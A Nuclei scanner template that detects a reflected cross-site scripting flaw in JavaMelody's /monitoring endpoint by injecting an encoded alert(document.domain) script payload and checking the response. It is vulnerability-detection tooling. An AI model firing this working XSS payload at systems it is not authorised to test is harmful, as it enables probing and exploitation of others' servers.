nuclei-templates/vulnerabilities/other/java-melody-xss.yaml

32 lines
779 B
YAML

id: java-melody-xss
info:
name: JavaMelody Monitoring - Cross-Site Scripting
author: kailashbohara
severity: medium
description: Reflected cross site scripting (XSS) in JavaMelody monitoring.
reference:
- https://github.com/Hurdano/JavaMelody-XSS
- https://github.com/javamelody/javamelody/pull/555
tags: xss,javamelody
requests:
- method: GET
path:
- '{{BaseURL}}/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200